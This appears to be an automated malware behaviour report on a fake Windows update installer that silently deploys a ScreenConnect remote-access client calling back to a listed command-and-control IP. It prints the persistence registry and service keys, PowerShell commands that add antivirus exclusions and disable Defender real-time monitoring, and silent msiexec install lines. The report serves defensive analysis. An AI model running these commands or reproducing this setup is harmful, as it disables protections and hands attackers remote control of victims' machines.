Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Classes\sc-3e812e5790a876f3\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (3e812e5790a876f3)\ScreenConnect.WindowsClient.exe" "%1"'
- [HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\ScreenConnect Client (3e812e5790a876f3)\ScreenConnect.WindowsAuthenticationPackage.dll'
Creates or modifies the following files
- <SYSTEM32>\tasks\createexplorershellunelevatedtask
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (3e812e5790a876f3)] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (3e812e5790a876f3)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (3e812e5790a876f3)\ScreenConnect.ClientService.exe" "?e...
Creates the following services
- 'ScreenConnect Client (3e812e5790a876f3)' %ProgramFiles(x86)%\ScreenConnect Client (3e812e5790a876f3)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=207.174.0.143&p=8041&s=1417c037-5a41-409f-a967-4e4942a48632&k=BgIAAACkAABSU0ExA...
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionExtension '.exe' -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath 'C:\Temp' -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im explorer.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\explorer.exe
Modifies file system
Creates the following files
- %TEMP%\windowsupdate.msi
- %WINDIR%\installer\msi66b4.tmp-\screenconnect.installeractions.dll
- %WINDIR%\installer\msi66b4.tmp-\microsoft.deployment.windowsinstaller.dll
- %WINDIR%\installer\msi66b4.tmp-\microsoft.deployment.windowsinstaller.package.dll
- %WINDIR%\installer\msi66b4.tmp-\screenconnect.core.dll
- %WINDIR%\installer\msi66b4.tmp-\screenconnect.windows.dll
- %WINDIR%\installer\msi66b4.tmp-\microsoft.deployment.compression.dll
- %WINDIR%\installer\msi66b4.tmp-\microsoft.deployment.compression.cab.dll
- %WINDIR%\installer\msi66b4.tmp-\customaction.config
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
- %WINDIR%\temp\~df68bf12406e399b14.tmp
- %WINDIR%\installer\sourcehash{e7f05099-9e8d-f062-5dca-ad78ffbd8c64}
- %WINDIR%\temp\~dfe64d9fb948dceb01.tmp
- %WINDIR%\temp\~df0345601f27744b65.tmp
- %WINDIR%\temp\~df21268c1e860f8a9a.tmp
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.client.dll
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.clientservice.dll
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.core.dll
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windows.dll
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowsauthenticationpackage.dll
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowsbackstageshell.exe
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowsbackstageshell.exe.config
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowsclient.exe
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowsclient.exe.config
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowscredentialprovider.dll
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowsfilemanager.exe
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowsfilemanager.exe.config
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.clientservice.exe
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\app.config
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\client.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\client.override.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\client.override.resources
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\client.resources
- %ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\system.config
- %WINDIR%\installer\{e7f05099-9e8d-f062-5dca-ad78ffbd8c64}\defaulticon
- %WINDIR%\temp\~df231b237f161cefbe.tmp
- %WINDIR%\temp\~df9372292cc2394368.tmp
- %WINDIR%\temp\~dfb83209daea9cfec8.tmp
- %WINDIR%\temp\~df024073726fea9b03.tmp
- %WINDIR%\temp\~dfbf9751f2d4cad305.tmp
- %WINDIR%\temp\~df91f8ef24cbb97ee8.tmp
- %WINDIR%\temp\~df315a0f37233d1513.tmp
- %WINDIR%\temp\~dfd96ed214cdeedbae.tmp
- %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (3e812e5790a876f3)\rzapy3tt.newcfg
- %TEMP%\content\812-6104-screenconnect.windowsclient.exe-13-15-05-594.dump
- %TEMP%\content\812-6104-screenconnect.windowsclient.exe-13-15-05-664.dump
- %TEMP%\content\812-6104-screenconnect.windowsclient.exe-13-15-05-680.dump
- %TEMP%\installed.txt
- %WINDIR%\temp\content\980-1220-screenconnect.windowsclient.exe-13-15-09-587.dump
- %WINDIR%\temp\content\980-1220-screenconnect.windowsclient.exe-13-15-09-664.dump
- %WINDIR%\temp\content\980-1220-screenconnect.windowsclient.exe-13-15-09-672.dump
Deletes following files that it created itself
- %WINDIR%\installer\msi66b4.tmp-\customaction.config
- %WINDIR%\installer\msi66b4.tmp-\microsoft.deployment.compression.cab.dll
- %WINDIR%\installer\msi66b4.tmp-\microsoft.deployment.compression.dll
- %WINDIR%\installer\msi66b4.tmp-\microsoft.deployment.windowsinstaller.dll
- %WINDIR%\installer\msi66b4.tmp-\microsoft.deployment.windowsinstaller.package.dll
- %WINDIR%\installer\msi66b4.tmp-\screenconnect.core.dll
- %WINDIR%\installer\msi66b4.tmp-\screenconnect.installeractions.dll
- %WINDIR%\installer\msi66b4.tmp-\screenconnect.windows.dll
- %TEMP%\windowsupdate.msi
Moves the following files
- from %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (3e812e5790a876f3)\rzapy3tt.newcfg to %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (3e812e5790a876f3)\user.config
Modifies the following files
- %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\microsoft\cryptneturlcache\metadata\77ec63bda74bd0d0e0426dc8f8008506
- %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157
Network activity
Connects to
- '20#.#74.0.143':8080
- '20#.#74.0.143':8041
- 'ap#.msn.com':443
- 'oneocsp.microsoft.com':80
TCP
HTTP GET requests
- http://20#.##4.0.143:8080/SystemCheck.msi via 20#.#74.0.143
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?81##############
- http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBR0TBEVYklX7A9yLoLD9hqmCWDxFgQU3pGGSLehMVkx8UtfB6nciHnaqHYCEzMAAAAMSWShb0QgOyIAAAAAAAw%3D
Other
- '20#.#74.0.143':8041
- 'ap#.msn.com':443
UDP
- DNS ASK ap#.msn.com
- DNS ASK oneocsp.microsoft.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
- ClassName: 'ApplicationFrameWindow' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
Creates and executes the following
- '%ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=20#.#74.0.143&p=8041&s=1417c037-5a41-409f-a967-4e4942a48632&k=BgIAAACkAABSU0ExAAgAAAEAAQAhyXCO4Geen0rwiOfgbtLFHdX886%2fOeYykBmJadcRdhO409PRvb9aXuHj1QlH%2fsd7tx2ENmRtIEkOm2Q...
- '%ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowsclient.exe' "RunRole" "67f5bae6-cc52-4756-917e-08705c448319" "User"
- '%ProgramFiles(x86)%\screenconnect client (3e812e5790a876f3)\screenconnect.windowsclient.exe' "RunRole" "c0ef0157-3d79-4764-aeed-740d8a232415" "System"
Executes the following
- '<SYSTEM32>\msiexec.exe' /i "%TEMP%\WindowsUpdate.msi" /qn /norestart
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\Installer\MSI66B4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_944531 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
- '%WINDIR%\explorer.exe'
- '%WINDIR%\explorer.exe' /NoUACCheck
- '%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe' -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
- '<SYSTEM32>\msiexec.exe' /i "%TEMP%\WindowsUpdate.msi" /qn /norestart' (with hidden window)
